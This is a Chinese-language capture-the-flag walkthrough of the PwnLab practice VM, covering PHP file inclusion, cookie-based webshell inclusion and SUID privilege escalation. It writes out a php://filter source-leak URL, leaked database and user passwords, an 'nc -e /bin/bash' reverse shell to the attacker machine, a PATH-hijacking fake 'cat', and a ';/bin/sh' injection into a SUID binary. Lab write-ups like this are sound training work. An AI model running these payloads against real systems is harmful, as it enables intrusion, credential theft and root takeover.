pwnlab靶场通关

pwnlab通关

主要利用文件包含,环境变量劫持漏洞通关的一个靶场

信息收集

靶机ip:192.168.112.133

开放端口
pwnlab靶场通关_第1张图片

根据开放的端口信息决定从80web端口入手

目录信息

pwnlab靶场通关_第2张图片

在images和upload路径存在目录遍历,config.php被渲染无法查看,upload.php需要先登录才能访问,尝试先从登录login.php界面入手

渗透阶段

访问

http://192.168.112.133

pwnlab靶场通关_第3张图片

点击login,路径变为

http://192.168.112.133/?page=login

pwnlab靶场通关_第4张图片

再访问下login.php

http://192.168.112.133/login.php

在这里插入图片描述

很明显的文件包含,利用php文件流进行读取,再进行base64解码

index.php

http://192.168.112.133/?page=convert.base64-encode/resource=index

pwnlab靶场通关_第5张图片


//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
	if (isset($_GET['page']))
	{
		include($_GET['page'].".php");
	}
	else
	{
		echo "Use this server to upload and share image files inside the intranet";
	}
?>
</center>
</body>
</html>

config.php

http://192.168.112.133/?page=convert.base64-encode/resource=config

pwnlab靶场通关_第6张图片


$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

upload.php

http://192.168.112.133/?page=convert.base64-encode/resource=upload

pwnlab靶场通关_第7张图片


session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
	<body>
		<form action='' method='post' enctype='multipart/form-data'>
			<input type='file' name='file' id='file' />
			<input type='submit' name='submit' value='Upload'/>
		</form>
	</body>
</html>
<?php 
if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) {
		$filename  = $_FILES['file']['name'];
		$filetype  = $_FILES['file']['type'];
		$uploaddir = 'upload/';
		$file_ext  = strrchr($filename, '.');
		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
		$whitelist = array(".jpg",".jpeg",".gif",".png"); 

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');
		}

		if(strpos($filetype,'image') === false) {
			die('Error 001');
		}

		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
			die('Error 002');
		}

		if(substr_count($filetype, '/')>1){
			die('Error 003');
		}

		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo ".$uploadfile."\">
"
; } else { die('Error 4'); } } } ?>

在config.php中直接拿到了mysql的用户名密码,直接连接

在user表中拿到了3个用户及密码,密码经过base64加密

在这里插入图片描述

解密后

kent JWzXuBJJNy
mike SIfdsTEn6I
kane iSv5Ym2GRo

有了账号密码后直接在登录页面进行登录,登录后会显示文件上传界面

pwnlab靶场通关_第8张图片

发包拦截,对upload.php进行代码审计发现经过了后缀白名单,mime类型等一些校验导致无法进行后缀绕过。只能上传图片马,想通过文件包含的方式getshell,但是在之前index.php页面中的include是这样的,如果包含的是xxx.jpg最后会被拼接成xxx.jpg.php文件不存在

if (isset($_GET['page']))
	{
		include($_GET['page'].".php");
	}

但在index.php中发现了另一个文件包含,可以利用Cookie进行getshell

if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}

首先绕过检测上传图片马,得到路径

pwnlab靶场通关_第9张图片

蚁剑连接,在header中设置cookie的lang字段

pwnlab靶场通关_第10张图片

pwnlab靶场通关_第11张图片

成功getshell

由于蚁剑是半交互式的,防止后面提权可能会用不了直接shell reverse到本机

这里采用nc工具,本机监听7777端口

nc -lvvp 7777

蚁剑窗口

nc -e /bin/bash 192.168.112.130 7777

反弹成功

pwnlab靶场通关_第12张图片

进入交互式shell

python -c 'import pty;pty.spawn("/bin/bash");'

在这里插入图片描述

提权阶段

当前用户为www-data,查找当前用户可提权的suid命令

find / -perm -u=s -type f 2>/dev/null

pwnlab靶场通关_第13张图片

没有可以利用的,切换用户kent没找到

su kent

切换mike,不让登录

su mike

在这里插入图片描述

登录kane

su kane

还是查找suid命令,在kane的用户目录下找到了一个可执行文件

pwnlab靶场通关_第14张图片

cd到该目录下进行查看,是一个ELF文件

在这里插入图片描述

strings msgmike

pwnlab靶场通关_第15张图片

在msgmike中发现了一条cat语句

cat /home/mike/msg.txt

我们利用环境变量进行劫持cat

在/home/kane目录下新建cat,给予执行权限,写入反弹,更改环境变量

touch cat
chmod +x cat
echo "/bin/sh" > cat
export PATH=/home/kane:$PATH

这样执行msgmike执行到cat语句会直接反弹到更高的权限

./msgmike

在这里插入图片描述

继续进入交互式shell

python -c 'import pty;pty.spawn("/bin/bash");'

在mike用户下查找可执行的suid命令,在mike用户下发现了一个msg2root的可执行文件

pwnlab靶场通关_第16张图片

cd到该目录下

strings msg2root

pwnlab靶场通关_第17张图片

在msg2root文件中发现了一条echo命令,%s是我们写入的字符串

/bin/echo %s >> /root/messages.txt

我们直接利用;分割反弹shell

;/bin/sh

首先运行msg2root

./msg2root

pwnlab靶场通关_第18张图片

成功提权到root

cd到root目录下查看flag

pwnlab靶场通关_第19张图片

你可能感兴趣的:(从入门到入狱,php,服务器,安全,后端,web安全)